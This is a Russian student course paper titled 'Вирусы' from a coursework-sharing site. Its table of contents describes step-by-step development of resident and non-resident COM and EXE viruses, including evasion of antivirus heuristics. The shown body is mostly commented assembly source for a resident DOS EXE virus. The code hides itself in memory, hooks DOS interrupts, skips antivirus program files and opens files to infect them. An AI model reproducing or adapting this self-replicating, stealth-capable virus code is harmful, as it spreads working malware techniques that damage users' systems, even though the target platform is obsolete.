Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

                                      ;восстановим

                                      ;промежуточный

                                      ;обработчик

                                      ;INT 21h ...

               cmp bx,1997h           ;Это проверка

               jne cs:not_our         ;повторной  за-

               mov ah,0ffh            ;грузки вируса в

               popf                   ;память ?

               iret                   ;

    not_our:cmp cs:tg_infect - 100h,1 ;Активизировать-

                                      ;ся ?

               je cs:vir_2            ;Да ...

               popf

    jmp dword ptr cs:old_28h - 100h   ;Нет  - вызовем

                                      ;старый INT 28h,

                                      ;чтобы не

                                      ;"топить" другие

                                      ;резиденты ...

 

    vir_2:     db 9ah

    old_28h    dw 0

    old_28h_2  dw 0

               pushf                  ;Сохраним в сте-

                                      ;ке регистры

               push ax

               push bx

               push cx

               push dx

               push si

               push di

               push bp

               push ds

               push es

               jmp cs:infect          ;Перейти к зара-

                                      ;жению файлов...

               push_len equ $-vir - 2

 

               mov ax,cs              ;Исправим DS для

                                      ;работы

               db 2dh                 ;в зараженном

                                      ;EXE - файле .

    sub_ds     dw 0

               mov ds,ax

               mov ax,ds

               mov es_save,es         ;Сохраним  значе-

                                      ;ние ES ,бывшее

                                      ;при загрузке

                                      ;программы ...

               push es

 

               mov ax,old_ip          ;Восстановим ис-

                                      ;ходные пара-

               mov my_ip,ax           ;метры заголовка

                                      ;зараженного

               mov ax,old_cs          ;файла ...

               mov my_cs,ax

               mov ax,to_16h

               mov my_16h,ax

               mov ax,old_ss

               mov my_ss,ax

               mov ax,old_sp

               mov my_sp,ax

                                      ;Проверим ,есть

                                      ;вирус в па-

               mov bx,1997h           ;мяти ,или еще

               int 28h                ;нет ...

 

               cmp ah,0ffh

              jne inst               ;Нет - устанав-

                                      ;ливаем ...

 

    fresh_input:

               pop es

 

               mov ax,my_ip           ;Восстановим

                                      ;исходные CS

               mov old_ip,ax          ;и IP ,а также

                                      ;необходимые

               mov ax,my_cs           ;для правильной

                                      ;работы

               mov old_cs,ax          ;значения SS и

                                      ;SP ...

               mov ax,my_16h

               mov to_16h,ax

               mov ax,my_sp

               mov sp,ax

 

               mov ax,cs              ;Расчитаем точку

                                      ;входа

               sub ax,to_16h          ;EXE - программы

               add my_ss,ax

               mov ss,my_ss

               add ax,old_cs

               mov old_cs,ax

               push ax

               push old_ip            ;Восстановим DS

               mov ax,es

               mov ds,ax

               db 0cbh                ;Машинный код

                                      ;команды возвра-

                                      ;та из дальней

                                      ;процедуры ...

 

    old_ip     dw 0                   ;

    old_cs     dw 0                   ;

 

    inst:      push es                ;Найдем первый

                                      ;PSP в

               xor di,di              ;памяти ...

               xor ax,ax

 

    to_new_seg:inc ax

               mov es,ax

               cmp ax,0ffffh          ;Этот сегмент -

                                      ;последний ?

               jae free_mem

    cmp byte ptr es:[di],4dh          ;Это -

                                      ;MCB - блок ?

       jne to_new_seg         ;Нет !

    to_test:   mov bx,ax              ;Да !

               add bx,es:[di+3]

               inc bx

               mov es,bx

    cmp byte ptr es:[di],4dh          ;Следующий MCB

                                      ;корректен ?

               je  restore_es         ;Да !

               cmp byte ptr es:[di],5ah

               jne to_new_seg         ;Нет !

    restore_es:mov es,ax

    cmp word ptr es:[di+1],0          ;MCB свободен ?

               je to_new_seg          ;Да !

               mov bx,es

               inc bx

               cmp es:[di+1],bx

               jne to_new_seg

    cmp byte ptr es:[di+10h],0cdh     ;После MCB сле-

                                      ;дует PSP ?

               jne to_new_seg         ;Нет  - тогда он

                                      ;нас не

                                      ;интересует ...

               mov first_psp,es       ;Да - найдена

                                      ;нужная нам

               mov cx,es              ;область памяти

               dec es_save

               cmp es_save,cx         ;А  может ,мы на-

                                      ;шли свой

                                      ;же PSP ?

               jne add_05h            ;Нет !

               pop es

               jmp fresh_input        ;Да !

    add_05h:   add first_psp,05h

 

    free_mem:  pop es

 

               mov ah,4ah             ;Определим объем

                                      ;доступной

                                      ;памяти ...

               mov bx,0ffffh          ;Заведомо невоз-

                                      ;можное

               int 21h                ;значение

                                      ;(0ffffh) !

 

    ; _______________________________________________

    ;| Найдем свободный MCB - блок ,чтобы можно было |

    ;| записать в него  резидентную часть вируса ...  |

    ;|_______________________________________________|

 

               sub bx,vir_par + 4     ;Оставим вирусу

                                      ;на 4 параграфа

                                      ;больше ,чем

                                      ;он сам занимает

               mov ah,4ah             ;А остальная

                                      ;память

               int 21h                ;будет занята ...

               jnc give_mem

 

    to_fresh_input:

               jmp fresh_input

 

    give_mem:  mov ah,48h             ;Попросим DOS

                                      ;отдать сво-

                                      ;бодный блок нам

               mov bx,vir_par + 2     ;Запас в два

                                      ;параграфа ...

               int 21h

               jc to_fresh_input

 

    ; _______________________________________________

    ;|Теперь свободный блок  памяти найден            |

    ;|( сегментный адрес в  AX ) ,и нужно             |

    ;|записать в него код  вируса ...                 |

    ;|_______________________________________________|

 

               xor di,di              ;

               mov bx,ax              ;

               dec bx                 ;

               mov word ptr es:[2],bx ;Корректируем

                                      ;PSP ...

               mov es,bx              ;Делаем вирус

               mov bx,0070h           ;" невидимым "

               mov es:[di+1],bx       ;в памяти ...

 

               mov es,di              ;Получаем векто-

                                      ;ра прерываний

               cli

               mov di,084h            ;Int 21h ...

               mov bx,es:[di]

               mov old_21h,bx

               mov bx,es:[di+2]

               mov old_21h_2,bx

 

               mov di,0a0h            ;Int 28h ...

               mov bx,es:[di]

               mov old_28h,bx

               mov bx,es:[di+2]

               mov old_28h_2,bx

               sti

 

               mov word ptr vir,9090h ;Подготавливаем

                                      ;вирус

               mov tg_infect,0        ;к резидентной

                                      ;работе ...

 

               mov our_21h_cs,ax      ;Эти значения

                                      ;потребуются

               mov bx,old_21h         ;промежуточному

                                      ;обработ-

               mov sys_21h_ip,bx      ;чику INT 21h...

               mov bx,old_21h_2

               mov sys_21h_cs,bx

 

               push es                ;Теперь мы

                                      ;скопируем его

               cli                    ;в найденный ра-

                                      ;нее первый

               mov es,first_psp       ;в памяти PSP...

               xor di,di

               lea si,to_bios

               mov cx,code_len

    new_code:  mov bl,byte ptr [si]

               mov byte ptr es:[di],bl

               inc si

               inc di

               loop new_code

               sti

               pop es

 

               mov es,ax              ;Копируем  в

                                      ;память  сам

               xor di,di              ;вирусный код...

               mov cx,vir_len

    prg_copy:  mov bl,byte ptr vir[di]

               mov byte ptr es:[di],bl

               inc di

               loop prg_copy

 

               xor bx,bx              ;Устанавливаем

                                      ;вектора

                                      ;прерываний на

                                      ;вирусные

       mov es,bx              ;обработчики ...

               cli

               mov di,084h            ;Int 21h ...

               mov word ptr es:[di],00h

               mov bx,first_psp

    mov word ptr es:[di + 2],bx

 

       mov di,0a0h            ;Int 28h ...

               mov word ptr es:[di],0

               mov es:[di+2],ax

               sti

 

               jmp fresh_input        ;Установка виру-

                                      ;са в память за-

                                      ;вершена ...

 

    infect:    push cs                ;DS = CS ...

               pop ds

 

               mov ax,ds              ;TSR - коррекция

               sub ax,10h             ;DS ...

               mov ds,ax

 

               mov tg_infect,0

 

               mov ah,2fh             ;Получим текущую

               int 21h                ;DTA ...

 

               mov es_dta,es          ;И сохраним ее

               mov bx_dta,bx

 

               mov ah,1ah             ;А теперь

                                      ;установим

       lea dx,new_dta         ;собственную DTA

               int 21h

 

    find_first:mov maska[0],'*'       ;Расшифровка ма-

    cmp word ptr cs:[0],9090h         ;ски только в

               je cs:fifa             ;резидентном

               mov maska[0],'a'       ;режиме

 

    fifa:      mov ah,4eh             ;Найдем первый

       mov cx,00100110b       ;файл ...

       lea dx,maska

       int 21h

       jnc cs:r_3

       jmp cs:restore_dta

 

    find_next: mov ah,3eh             ;Закроем непод-

               mov bx,descrypt        ;ходящий файл

       int 21h

       jnc cs:r_2

       jmp cs:restore_dta

 

    r_2:       mov ah,4fh             ;Найдем следую-

       int 21h                ;щий ...

       jnc cs:r_3

       jmp cs:restore_dta

 

    r_3:    mov cx,12

       lea si,fn              ;Сотрем старое

    kill_name: mov byte ptr [si],0    ;имя в буфере

       inc si

       loop cs:kill_name

 

               xor si,si              ;И запишем новое

    copy_name: mov al,byte ptr new_dta[si + 01eh]

       cmp al,0

       je cs:check_name

       mov byte ptr fn[si],al

       inc si

       jmp cs:copy_name

 

    check_name:mov cx,4               ;Проверим имя на

               lea si,name_1          ;принадлежность

               call cs:search         ;его антивирус-

               cmp inside,1           ;ным программам

               je cs:r_2

 

               lea si,name_2          ;

               call cs:search

               cmp inside,1

               je cs:r_2

 

               lea si,name_3          ;

               call cs:search

               cmp inside,1

               je cs:r_2

 

               lea si,name_4          ;

               call cs:search

               cmp inside,1

               je cs:r_2

 

               lea si,name_5          ;

               call cs:search

               cmp inside,1

               je cs:r_2

                                      ;

               mov cx,3

               lea si,name_6

               call cs:search

               cmp inside,1

               je cs:to_r_2

 

    open_file: mov ax,3d02h           ;Откроем этот

       lea dx,fn              ;файл ...

Информация о работе Вирусы